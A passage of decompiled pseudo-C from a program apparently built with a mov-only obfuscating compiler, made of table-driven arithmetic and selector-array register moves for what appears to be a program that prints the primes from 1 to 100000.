v535 = (unsigned int)*(char*)(((unsigned int)*(char*)&alu_c | ((unsigned int)((v535 >>> 8) & 0xffffff) << 8)) + v536 + &alu_mul_sum8l) | ((unsigned int)((v535 >>> 8) & 0xffffff) << 8);
*((char*)&alu_z0 + 3) = (unsigned char)v535;
*(char*)&alu_c = *(char*)(((unsigned int)*(char*)(((unsigned int)*(char*)&alu_c | ((unsigned int)((v535 >>> 8) & 0xffffff) << 8)) + v536 + &alu_mul_sum8h) | ((unsigned int)((v535 >>> 8) & 0xffffff) << 8)) + v534 + &alu_mul_sum8l);
alu_c = 0;
int v537 = (unsigned int)*(char*)&alu_x;
int v538 = (unsigned int)*((char*)&alu_y + 1);
int v539 = (unsigned int)*(char*)(*(unsigned int*)(v537 * 4 + (int)&alu_mul_mul8l) + v538);
v537 = (unsigned int)*(char*)(*(unsigned int*)(v537 * 4 + (int)&alu_mul_mul8h) + v538) | ((unsigned int)((v537 >>> 8) & 0xffffff) << 8);
v538 = (unsigned int)*(char*)(((unsigned int)*(char*)&alu_c | ((unsigned int)((v538 >>> 8) & 0xffffff) << 8)) + v539 + &alu_mul_sum8l) | ((unsigned int)((v538 >>> 8) & 0xffffff) << 8);
*((char*)&alu_z1 + 1) = (unsigned char)v538;
*(char*)&alu_c = *(char*)(((unsigned int)*(char*)(((unsigned int)*(char*)&alu_c | ((unsigned int)((v538 >>> 8) & 0xffffff) << 8)) + v539 + &alu_mul_sum8h) | ((unsigned int)((v538 >>> 8) & 0xffffff) << 8)) + v537 + &alu_mul_sum8l);
int v540 = (unsigned int)*((char*)&alu_x + 1);
int v541 = (unsigned int)*((char*)&alu_y + 1);
int v542 = (unsigned int)*(char*)(*(unsigned int*)(v540 * 4 + (int)&alu_mul_mul8l) + v541);
v540 = (unsigned int)*(char*)(*(unsigned int*)(v540 * 4 + (int)&alu_mul_mul8h) + v541) | ((unsigned int)((v540 >>> 8) & 0xffffff) << 8);
v541 = (unsigned int)*(char*)(((unsigned int)*(char*)&alu_c | ((unsigned int)((v541 >>> 8) & 0xffffff) << 8)) + v542 + &alu_mul_sum8l) | ((unsigned int)((v541 >>> 8) & 0xffffff) << 8);
*((char*)&alu_z1 + 2) = (unsigned char)v541;
*(char*)&alu_c = *(char*)(((unsigned int)*(char*)(((unsigned int)*(char*)&alu_c | ((unsigned int)((v541 >>> 8) & 0xffffff) << 8)) + v542 + &alu_mul_sum8h) | ((unsigned int)((v541 >>> 8) & 0xffffff) << 8)) + v540 + &alu_mul_sum8l);
int v543 = (unsigned int)*((char*)&alu_x + 2);
int v544 = (unsigned int)*((char*)&alu_y + 1);
int v545 = (unsigned int)*(char*)(*(unsigned int*)(v543 * 4 + (int)&alu_mul_mul8l) + v544);
v543 = (unsigned int)*(char*)(*(unsigned int*)(v543 * 4 + (int)&alu_mul_mul8h) + v544) | ((unsigned int)((v543 >>> 8) & 0xffffff) << 8);
v544 = (unsigned int)*(char*)(((unsigned int)*(char*)&alu_c | ((unsigned int)((v544 >>> 8) & 0xffffff) << 8)) + v545 + &alu_mul_sum8l) | ((unsigned int)((v544 >>> 8) & 0xffffff) << 8);
*((char*)&alu_z1 + 3) = (unsigned char)v544;
*(char*)&alu_c = *(char*)(((unsigned int)*(char*)(((unsigned int)*(char*)&alu_c | ((unsigned int)((v544 >>> 8) & 0xffffff) << 8)) + v545 + &alu_mul_sum8h) | ((unsigned int)((v544 >>> 8) & 0xffffff) << 8)) + v543 + &alu_mul_sum8l);
alu_c = 0;
int v546 = (unsigned int)*(char*)&alu_x;
int v547 = (unsigned int)*((char*)&alu_y + 2);
int v548 = (unsigned int)*(char*)(*(unsigned int*)(v546 * 4 + (int)&alu_mul_mul8l) + v547);
v546 = (unsigned int)*(char*)(*(unsigned int*)(v546 * 4 + (int)&alu_mul_mul8h) + v547) | ((unsigned int)((v546 >>> 8) & 0xffffff) << 8);
v547 = (unsigned int)*(char*)(((unsigned int)*(char*)&alu_c | ((unsigned int)((v547 >>> 8) & 0xffffff) << 8)) + v548 + &alu_mul_sum8l) | ((unsigned int)((v547 >>> 8) & 0xffffff) << 8);
*((char*)&alu_z2 + 2) = (unsigned char)v547;
*(char*)&alu_c = *(char*)(((unsigned int)*(char*)(((unsigned int)*(char*)&alu_c | ((unsigned int)((v547 >>> 8) & 0xffffff) << 8)) + v548 + &alu_mul_sum8h) | ((unsigned int)((v547 >>> 8) & 0xffffff) << 8)) + v546 + &alu_mul_sum8l);
int v549 = (unsigned int)*((char*)&alu_x + 1);
int v550 = (unsigned int)*((char*)&alu_y + 2);
int v551 = (unsigned int)*(char*)(*(unsigned int*)(v549 * 4 + (int)&alu_mul_mul8l) + v550);
v549 = (unsigned int)*(char*)(*(unsigned int*)(v549 * 4 + (int)&alu_mul_mul8h) + v550) | ((unsigned int)((v549 >>> 8) & 0xffffff) << 8);
v550 = (unsigned int)*(char*)(((unsigned int)*(char*)&alu_c | ((unsigned int)((v550 >>> 8) & 0xffffff) << 8)) + v551 + &alu_mul_sum8l) | ((unsigned int)((v550 >>> 8) & 0xffffff) << 8);
*((char*)&alu_z2 + 3) = (unsigned char)v550;
*(char*)&alu_c = *(char*)(((unsigned int)*(char*)(((unsigned int)*(char*)&alu_c | ((unsigned int)((v550 >>> 8) & 0xffffff) << 8)) + v551 + &alu_mul_sum8h) | ((unsigned int)((v550 >>> 8) & 0xffffff) << 8)) + v549 + &alu_mul_sum8l);
alu_c = 0;
int v552 = (unsigned int)*(char*)&alu_x;
int v553 = (unsigned int)*((char*)&alu_y + 3);
int v554 = (unsigned int)*(char*)(*(unsigned int*)(v552 * 4 + (int)&alu_mul_mul8l) + v553);
v552 = (unsigned int)*(char*)(*(unsigned int*)(v552 * 4 + (int)&alu_mul_mul8h) + v553) | ((unsigned int)((v552 >>> 8) & 0xffffff) << 8);
v553 = (unsigned int)*(char*)(((unsigned int)*(char*)&alu_c | ((unsigned int)((v553 >>> 8) & 0xffffff) << 8)) + v554 + &alu_mul_sum8l) | ((unsigned int)((v553 >>> 8) & 0xffffff) << 8);
*((char*)&alu_z3 + 3) = (unsigned char)v553;
*(char*)&alu_c = *(char*)(((unsigned int)*(char*)(((unsigned int)*(char*)&alu_c | ((unsigned int)((v553 >>> 8) & 0xffffff) << 8)) + v554 + &alu_mul_sum8h) | ((unsigned int)((v553 >>> 8) & 0xffffff) << 8)) + v552 + &alu_mul_sum8l);
alu_c = 0;
unsigned int v555 = *(unsigned int*)(*(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + (int)&alu_mul_shl2) + *(unsigned int*)((unsigned int)*(char*)&alu_z0 * 4 + (int)&alu_mul_shl2) + (int)&alu_mul_sums);
*(char*)&alu_s = (unsigned char)v555;
*(char*)&alu_c = (unsigned char)(v555 >>> 8);
unsigned int v556 = *(unsigned int*)(*(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + (int)&alu_mul_shl2) + *(unsigned int*)(*(unsigned int*)(*(unsigned int*)((unsigned int)*((char*)&alu_z0 + 1) * 4 + (int)&alu_mul_shl2) + *(unsigned int*)((unsigned int)*((char*)&alu_z1 + 1) * 4 + (int)&alu_mul_shl2) + (int)&alu_mul_sums) * 4 + (int)&alu_mul_shl2) + (int)&alu_mul_sums);
*((char*)&alu_s + 1) = (unsigned char)v556;
*(char*)&alu_c = (unsigned char)(v556 >>> 8);
unsigned int v557 = *(unsigned int*)(*(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + (int)&alu_mul_shl2) + *(unsigned int*)(*(unsigned int*)(*(unsigned int*)((unsigned int)*((char*)&alu_z2 + 2) * 4 + (int)&alu_mul_shl2) + *(unsigned int*)(*(unsigned int*)(*(unsigned int*)((unsigned int)*((char*)&alu_z0 + 2) * 4 + (int)&alu_mul_shl2) + *(unsigned int*)((unsigned int)*((char*)&alu_z1 + 2) * 4 + (int)&alu_mul_shl2) + (int)&alu_mul_sums) * 4 + (int)&alu_mul_shl2) + (int)&alu_mul_sums) * 4 + (int)&alu_mul_shl2) + (int)&alu_mul_sums);
*((char*)&alu_s + 2) = (unsigned char)v557;
*(char*)&alu_c = (unsigned char)(v557 >>> 8);
unsigned int v558 = *(unsigned int*)(*(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + (int)&alu_mul_shl2) + *(unsigned int*)(*(unsigned int*)(*(unsigned int*)((unsigned int)*((char*)&alu_z3 + 3) * 4 + (int)&alu_mul_shl2) + *(unsigned int*)(*(unsigned int*)(*(unsigned int*)((unsigned int)*((char*)&alu_z2 + 3) * 4 + (int)&alu_mul_shl2) + *(unsigned int*)(*(unsigned int*)(*(unsigned int*)((unsigned int)*((char*)&alu_z0 + 3) * 4 + (int)&alu_mul_shl2) + *(unsigned int*)((unsigned int)*((char*)&alu_z1 + 3) * 4 + (int)&alu_mul_shl2) + (int)&alu_mul_sums) * 4 + (int)&alu_mul_shl2) + (int)&alu_mul_sums) * 4 + (int)&alu_mul_shl2) + (int)&alu_mul_sums) * 4 + (int)&alu_mul_shl2) + (int)&alu_mul_sums);
*((char*)&alu_s + 3) = (unsigned char)v558;
*(char*)&alu_c = (unsigned char)(v558 >>> 8);
R3 = alu_s;
R2 = *(unsigned int*)(*(int*)(*(int*)(*(int*)(*(int*)(*(int*)(*(int*)(*(int*)(fp - 0x200060) - 0x200060) - 0x200060) - 0x200060) - 0x200060) - 0x200060) - 0x200060) - 0x200060);
unsigned int v559 = on;
data_p = R2;
R2 = **(unsigned int**)(v559 * 4 + (int)&sel_data);
unsigned int v560 = R3;
unsigned int v561 = R2;
branch_temp = 2282002178;
alu_x = v560;
alu_y = v561;
alu_t = v561;
alu_c = 1;
int v562 = (unsigned int)*(short*)&alu_x;
unsigned int v563 = alu_c;
int v564 = *(int*)(v563 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v562 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_s = (unsigned short)v564;
*(int*)0x81FCFEE = v564;
int v565 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v563 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v563 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v562 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_s + 2) = (unsigned short)v565;
*(int*)0x81FCFEE = v565;
alu_y = alu_t;
int v566 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_c + (int)&alu_false);
*(char*)&sf = (unsigned char)*(int*)(((unsigned int)*((char*)&alu_s + 3) | ((unsigned int)((v566 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7);
int v567 = (unsigned int)*(char*)&alu_s;
int v568 = (unsigned int)*(unsigned char*)((int)&alu_true + v567);
v567 = (unsigned int)*((char*)&alu_s + 1) | ((unsigned int)((v567 >>> 8) & 0xffffff) << 8);
v568 = (unsigned int)*(unsigned char*)((int)(int*)((int)&alu_true + v568) + v567) | ((unsigned int)((v568 >>> 8) & 0xffffff) << 8);
v567 = (unsigned int)*((char*)&alu_s + 2) | ((unsigned int)((v567 >>> 8) & 0xffffff) << 8);
v568 = (unsigned int)*(char*)(((unsigned int)*(char*)(((unsigned int)*((char*)&alu_s + 3) | ((unsigned int)((v567 >>> 8) & 0xffffff) << 8)) + v568 + &alu_true) | ((unsigned int)((v568 >>> 8) & 0xffffff) << 8)) + &alu_false) | ((unsigned int)((v568 >>> 8) & 0xffffff) << 8);
*(char*)&zf = (unsigned char)v568;
int v569 = *(int*)(((unsigned int)*((char*)&alu_x + 3) | ((unsigned int)((v568 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7);
int v570 = *(int*)(((unsigned int)*((char*)&alu_y + 3) | ((unsigned int)((v569 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7);
*(char*)&of = (unsigned char)**(unsigned int*)(*(int*)(((unsigned int)*((char*)&alu_s + 3) | ((unsigned int)((v570 >>> 8) & 0xffffff) << 8)) * 4 + &alu_b7) * 4 + *(int*)(v570 * 4 + *(int*)(v569 * 4 + (int)&alu_cmp_of)));
b0 = *(unsigned int*)(of * 4 + *(unsigned int*)(sf * 4 + (int)&xor));
b0 = *(unsigned int*)(zf * 4 + *(unsigned int*)(b0 * 4 + (int)&or));
b0 = *(unsigned int*)(on * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
**(unsigned int**)(b0 * 4 + (int)&sel_target) = branch_temp;
unsigned int v571 = b0;
unsigned int* ptr36 = *(unsigned int*)(v571 * 4 + (int)&sel_data);
*ptr36 = R0;
*(ptr36 + 1) = R1;
*(ptr36 + 2) = R2;
*(ptr36 + 3) = R3;
unsigned int* ptr37 = *(unsigned int*)(v571 * 4 + (int)&sel_data);
*ptr37 = F0;
*(ptr37 + 1) = F1;
unsigned int* ptr38 = *(unsigned int*)(v571 * 4 + (int)&sel_data);
*ptr38 = D0;
*(ptr38 + 1) = gvar_8054064;
*(ptr38 + 2) = D1;
*(ptr38 + 3) = gvar_805406C;
**(unsigned int*)(b0 * 4 + (int)&sel_on) = 0;
R0 = 1;
alu_x = target;
alu_y = 0x88050155;
int v572 = (unsigned int)*(char*)&alu_x;
unsigned int v573 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v572 * 4 + (int)&alu_eq));
b0 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v572 * 4 + (int)&alu_eq));
v572 = (unsigned int)*((char*)&alu_x + 1) | ((unsigned int)((v572 >>> 8) & 0xffffff) << 8);
v573 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 1) | ((unsigned int)((v573 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v572 * 4 + (int)&alu_eq)) | ((unsigned int)((v573 >>> 8) & 0xffffff) << 8);
b1 = v573;
v572 = (unsigned int)*((char*)&alu_x + 2) | ((unsigned int)((v572 >>> 8) & 0xffffff) << 8);
v573 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 2) | ((unsigned int)((v573 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v572 * 4 + (int)&alu_eq)) | ((unsigned int)((v573 >>> 8) & 0xffffff) << 8);
b2 = v573;
b3 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 3) | ((unsigned int)((v573 >>> 8) & 0xffffff) << 8)) + *(int*)(((unsigned int)*((char*)&alu_x + 3) | ((unsigned int)((v572 >>> 8) & 0xffffff) << 8)) * 4 + &alu_eq)) | ((unsigned int)((v573 >>> 8) & 0xffffff) << 8);
b0 = *(unsigned int*)(b1 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b2 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b3 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
unsigned int v574 = b0;
*(unsigned char*)*(unsigned char**)(v574 * 4 + (int)&sel_data) = *(int*)&jmp_r0;
**(unsigned int**)(v574 * 4 + (int)&sel_data) = jmp_r1;
**(unsigned int**)(v574 * 4 + (int)&sel_data) = jmp_r2;
**(unsigned int**)(v574 * 4 + (int)&sel_data) = jmp_r3;
*(unsigned char*)*(unsigned char**)(v574 * 4 + (int)&sel_data) = *(int*)&jmp_f0;
**(unsigned int**)(v574 * 4 + (int)&sel_data) = jmp_f1;
unsigned int* ptr39 = *(unsigned int*)(v574 * 4 + (int)&sel_data);
*ptr39 = *(int*)&jmp_d0;
*(ptr39 + 1) = gvar_85FD19C;
unsigned int* ptr40 = *(unsigned int*)(v574 * 4 + (int)&sel_data);
*ptr40 = jmp_d1;
*(ptr40 + 1) = gvar_85FD1A4;
**(unsigned int*)(b0 * 4 + (int)&sel_on) = 1;
unsigned int v575 = on;
**(unsigned int**)(v575 * 4 + (int)&sel_data) = fp;
unsigned int* ptr41 = sp;
stack_temp = *ptr41;
gvar_81FD104 = *(ptr41 + 1);
unsigned int v576 = on;
**(unsigned int*)(v576 * 4 + (int)&sel_data) = *(int*)(*(int*)(sp - 0x200060) - 0x200060);
unsigned int v577 = on;
unsigned int* ptr42 = *(unsigned int*)(v577 * 4 + (int)&sel_data);
*ptr42 = stack_temp;
*(ptr42 + 1) = gvar_81FD104;
stack_temp = *sp;
unsigned int v578 = on;
**(unsigned int*)(v578 * 4 + (int)&sel_data) = *(int*)(sp - 0x200060);
unsigned int v579 = on;
**(unsigned int**)(v579 * 4 + (int)&sel_data) = stack_temp;
stack_temp = *sp;
unsigned int v580 = on;
**(unsigned int*)(v580 * 4 + (int)&sel_data) = *(int*)(sp - 0x200060);
unsigned int v581 = on;
**(unsigned int**)(v581 * 4 + (int)&sel_data) = stack_temp;
stack_temp = *sp;
unsigned int v582 = on;
**(unsigned int*)(v582 * 4 + (int)&sel_data) = *(int*)(sp - 0x200060);
unsigned int v583 = on;
**(unsigned int**)(v583 * 4 + (int)&sel_data) = stack_temp;
stack_temp = *sp;
unsigned int v584 = on;
**(unsigned int*)(v584 * 4 + (int)&sel_data) = *(int*)(sp - 0x200060);
unsigned int v585 = on;
**(unsigned int**)(v585 * 4 + (int)&sel_data) = stack_temp;
stack_temp = *sp;
unsigned int v586 = on;
**(unsigned int*)(v586 * 4 + (int)&sel_data) = *(int*)(sp - 0x200060);
unsigned int v587 = on;
**(unsigned int**)(v587 * 4 + (int)&sel_data) = stack_temp;
stack_temp = *sp;
unsigned int v588 = on;
**(unsigned int*)(v588 * 4 + (int)&sel_data) = *(int*)(sp - 0x200060);
branch_temp = stack_temp;
**(unsigned int**)(on * 4 + (int)&sel_target) = branch_temp;
unsigned int v589 = on;
unsigned int* ptr43 = *(unsigned int*)(v589 * 4 + (int)&sel_data);
*ptr43 = R0;
*(ptr43 + 1) = R1;
*(ptr43 + 2) = R2;
*(ptr43 + 3) = R3;
unsigned int* ptr44 = *(unsigned int*)(v589 * 4 + (int)&sel_data);
*ptr44 = F0;
*(ptr44 + 1) = F1;
data_p = &jmp_d0;
unsigned int* ptr45 = *(unsigned int*)(v589 * 4 + (int)&sel_data);
*ptr45 = D0;
*(ptr45 + 1) = gvar_8054064;
*(ptr45 + 2) = D1;
*(ptr45 + 3) = gvar_805406C;
**(unsigned int*)(on * 4 + (int)&sel_on) = 0;
}
int main() {
alu_x = target;
alu_y = 2282030657;
int v0 = (unsigned int)*(char*)&alu_x;
unsigned int v1 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v0 * 4 + (int)&alu_eq));
b0 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v0 * 4 + (int)&alu_eq));
v0 = (unsigned int)*((char*)&alu_x + 1) | ((unsigned int)((v0 >>> 8) & 0xffffff) << 8);
v1 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 1) | ((unsigned int)((v1 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v0 * 4 + (int)&alu_eq)) | ((unsigned int)((v1 >>> 8) & 0xffffff) << 8);
b1 = v1;
v0 = (unsigned int)*((char*)&alu_x + 2) | ((unsigned int)((v0 >>> 8) & 0xffffff) << 8);
v1 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 2) | ((unsigned int)((v1 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v0 * 4 + (int)&alu_eq)) | ((unsigned int)((v1 >>> 8) & 0xffffff) << 8);
b2 = v1;
b3 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 3) | ((unsigned int)((v1 >>> 8) & 0xffffff) << 8)) + *(int*)(((unsigned int)*((char*)&alu_x + 3) | ((unsigned int)((v0 >>> 8) & 0xffffff) << 8)) * 4 + &alu_eq)) | ((unsigned int)((v1 >>> 8) & 0xffffff) << 8);
b0 = *(unsigned int*)(b1 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b2 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b3 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
unsigned int v2 = b0;
*(unsigned char*)*(unsigned char**)(v2 * 4 + (int)&sel_data) = *(int*)&jmp_r0;
**(unsigned int**)(v2 * 4 + (int)&sel_data) = jmp_r1;
**(unsigned int**)(v2 * 4 + (int)&sel_data) = jmp_r2;
**(unsigned int**)(v2 * 4 + (int)&sel_data) = jmp_r3;
*(unsigned char*)*(unsigned char**)(v2 * 4 + (int)&sel_data) = *(int*)&jmp_f0;
**(unsigned int**)(v2 * 4 + (int)&sel_data) = jmp_f1;
unsigned int* ptr0 = *(unsigned int*)(v2 * 4 + (int)&sel_data);
*ptr0 = *(int*)&jmp_d0;
*(ptr0 + 1) = gvar_85FD19C;
unsigned int* ptr1 = *(unsigned int*)(v2 * 4 + (int)&sel_data);
*ptr1 = jmp_d1;
*(ptr1 + 1) = gvar_85FD1A4;
**(unsigned int*)(b0 * 4 + (int)&sel_on) = 1;
stack_temp = fp;
unsigned int v3 = on;
**(unsigned int*)(v3 * 4 + (int)&sel_data) = *(int*)(sp - 0x200068);
unsigned int v4 = on;
data_p = sp;
**(unsigned int**)(v4 * 4 + (int)&sel_data) = stack_temp;
stack_temp = R1;
unsigned int v5 = on;
**(unsigned int*)(v5 * 4 + (int)&sel_data) = *(int*)(sp - 0x200068);
unsigned int v6 = on;
data_p = sp;
**(unsigned int**)(v6 * 4 + (int)&sel_data) = stack_temp;
stack_temp = R2;
unsigned int v7 = on;
**(unsigned int*)(v7 * 4 + (int)&sel_data) = *(int*)(sp - 0x200068);
unsigned int v8 = on;
data_p = sp;
**(unsigned int**)(v8 * 4 + (int)&sel_data) = stack_temp;
stack_temp = R3;
unsigned int v9 = on;
**(unsigned int*)(v9 * 4 + (int)&sel_data) = *(int*)(sp - 0x200068);
unsigned int v10 = on;
data_p = sp;
**(unsigned int**)(v10 * 4 + (int)&sel_data) = stack_temp;
stack_temp = F1;
unsigned int v11 = on;
**(unsigned int*)(v11 * 4 + (int)&sel_data) = *(int*)(sp - 0x200068);
unsigned int v12 = on;
data_p = sp;
**(unsigned int**)(v12 * 4 + (int)&sel_data) = stack_temp;
stack_temp = D1;
gvar_81FD104 = gvar_805406C;
unsigned int v13 = on;
**(unsigned int*)(v13 * 4 + (int)&sel_data) = *(int*)(*(int*)(sp - 0x200068) - 0x200068);
unsigned int v14 = on;
data_p = sp;
unsigned int* ptr2 = *(unsigned int*)(v14 * 4 + (int)&sel_data);
*ptr2 = stack_temp;
*(ptr2 + 1) = gvar_81FD104;
unsigned int v15 = on;
**(unsigned int**)(v15 * 4 + (int)&sel_data) = sp;
stack_temp = *(unsigned int*)(sp - 0x200068);
unsigned int v16 = on;
**(unsigned int**)(v16 * 4 + (int)&sel_data) = stack_temp;
R3 = "primes, 1-100000: \n";
stack_temp = R3;
unsigned int v17 = on;
**(unsigned int*)(v17 * 4 + (int)&sel_data) = *(int*)(sp - 0x200068);
unsigned int v18 = on;
data_p = sp;
**(unsigned int**)(v18 * 4 + (int)&sel_data) = stack_temp;
alu_x = 2282032048;
alu_y = 0x80000000;
alu_c = 0;
int v19 = (unsigned int)*(short*)&alu_x;
int v20 = (unsigned int)*(short*)&alu_y;
int v21 = *(int*)(v20 * 4 + *(unsigned int*)(v19 * 4 + (int)&alu_add16));
v20 = (unsigned int)*(short*)((char*)&alu_c + 2) | ((unsigned int)(unsigned short)(v20 >>> 16) << 16);
unsigned int v22 = *(unsigned int*)(v20 * 4 + *(unsigned int*)(v21 * 4 + (int)&alu_add16));
*(short*)&alu_s = (unsigned short)v22;
alu_c = v22;
unsigned int v23 = *(unsigned int*)(((unsigned int)*(short*)((char*)&alu_c + 2) | ((unsigned int)(unsigned short)(v20 >>> 16) << 16)) * 4 + *(int*)(*(int*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v20 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v19 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_s + 2) = (unsigned short)v23;
alu_c = v23;
stack_temp = alu_s;
unsigned int v24 = on;
**(unsigned int*)(v24 * 4 + (int)&sel_data) = *(int*)(sp - 0x200068);
unsigned int v25 = on;
data_p = sp;
**(unsigned int**)(v25 * 4 + (int)&sel_data) = stack_temp;
external = &→printf;
R0 = **(unsigned int**)(on * 4 + (int)&fault);
unsigned int v26 = on;
**(unsigned int*)(v26 * 4 + (int)&sel_data) = *(int*)(sp - 0x200060);
stack_temp = *(unsigned int*)(sp - 0x200060);
unsigned int v27 = on;
**(unsigned int**)(v27 * 4 + (int)&sel_data) = stack_temp;
R3 = 1;
unsigned int v28 = on;
**(unsigned int**)(v28 * 4 + (int)&sel_data) = R3;
alu_x = target;
alu_y = 2282032205;
int v29 = (unsigned int)*(char*)&alu_x;
unsigned int v30 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v29 * 4 + (int)&alu_eq));
b0 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v29 * 4 + (int)&alu_eq));
v29 = (unsigned int)*((char*)&alu_x + 1) | ((unsigned int)((v29 >>> 8) & 0xffffff) << 8);
v30 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 1) | ((unsigned int)((v30 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v29 * 4 + (int)&alu_eq)) | ((unsigned int)((v30 >>> 8) & 0xffffff) << 8);
b1 = v30;
v29 = (unsigned int)*((char*)&alu_x + 2) | ((unsigned int)((v29 >>> 8) & 0xffffff) << 8);
v30 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 2) | ((unsigned int)((v30 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v29 * 4 + (int)&alu_eq)) | ((unsigned int)((v30 >>> 8) & 0xffffff) << 8);
b2 = v30;
b3 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 3) | ((unsigned int)((v30 >>> 8) & 0xffffff) << 8)) + *(int*)(((unsigned int)*((char*)&alu_x + 3) | ((unsigned int)((v29 >>> 8) & 0xffffff) << 8)) * 4 + &alu_eq)) | ((unsigned int)((v30 >>> 8) & 0xffffff) << 8);
b0 = *(unsigned int*)(b1 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b2 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
b0 = *(unsigned int*)(b3 * 4 + *(unsigned int*)(b0 * 4 + (int)&and));
unsigned int v31 = b0;
*(unsigned char*)*(unsigned char**)(v31 * 4 + (int)&sel_data) = *(int*)&jmp_r0;
**(unsigned int**)(v31 * 4 + (int)&sel_data) = jmp_r1;
**(unsigned int**)(v31 * 4 + (int)&sel_data) = jmp_r2;
**(unsigned int**)(v31 * 4 + (int)&sel_data) = jmp_r3;
*(unsigned char*)*(unsigned char**)(v31 * 4 + (int)&sel_data) = *(int*)&jmp_f0;
**(unsigned int**)(v31 * 4 + (int)&sel_data) = jmp_f1;
unsigned int* ptr3 = *(unsigned int*)(v31 * 4 + (int)&sel_data);
*ptr3 = *(int*)&jmp_d0;
*(ptr3 + 1) = gvar_85FD19C;
unsigned int* ptr4 = *(unsigned int*)(v31 * 4 + (int)&sel_data);
*ptr4 = jmp_d1;
*(ptr4 + 1) = gvar_85FD1A4;
**(unsigned int*)(b0 * 4 + (int)&sel_on) = 1;
R3 = *(unsigned int*)(fp - 0x200068);
unsigned int v32 = on;
data_p = R3;
R3 = **(unsigned int**)(v32 * 4 + (int)&sel_data);
stack_temp = R3;
unsigned int v33 = on;
**(unsigned int*)(v33 * 4 + (int)&sel_data) = *(int*)(sp - 0x200068);
unsigned int v34 = on;
data_p = sp;
**(unsigned int**)(v34 * 4 + (int)&sel_data) = stack_temp;
stack_temp = 2282033077;
unsigned int v35 = on;
**(unsigned int*)(v35 * 4 + (int)&sel_data) = *(int*)(sp - 0x200068);
unsigned int v36 = on;
data_p = sp;
**(unsigned int**)(v36 * 4 + (int)&sel_data) = stack_temp;
branch_temp = 2281998180;
**(unsigned int**)(on * 4 + (int)&sel_target) = branch_temp;
unsigned int v37 = on;
unsigned int* ptr5 = *(unsigned int*)(v37 * 4 + (int)&sel_data);
*ptr5 = R0;
*(ptr5 + 1) = R1;
*(ptr5 + 2) = R2;
*(ptr5 + 3) = R3;
unsigned int* ptr6 = *(unsigned int*)(v37 * 4 + (int)&sel_data);
*ptr6 = F0;
*(ptr6 + 1) = F1;
unsigned int* ptr7 = *(unsigned int*)(v37 * 4 + (int)&sel_data);
*ptr7 = D0;
*(ptr7 + 1) = gvar_8054064;
*(ptr7 + 2) = D1;
*(ptr7 + 3) = gvar_805406C;
**(unsigned int*)(on * 4 + (int)&sel_on) = 0;
alu_x = target;
alu_y = 2282033077;
int v38 = (unsigned int)*(char*)&alu_x;
unsigned int v39 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v38 * 4 + (int)&alu_eq));
b0 = (unsigned int)*(char*)((unsigned int)*(char*)&alu_y + *(unsigned int*)(v38 * 4 + (int)&alu_eq));
v38 = (unsigned int)*((char*)&alu_x + 1) | ((unsigned int)((v38 >>> 8) & 0xffffff) << 8);
v39 = (unsigned int)*(char*)(((unsigned int)*((char*)&alu_y + 1) | ((unsigned int)((v39 >>> 8) & 0xffffff) << 8)) + *(unsigned int*)(v38 * 4 + (int)&alu_eq)) | ((unsigned int)((v39 >>> 8) & 0xffffff) << 8);
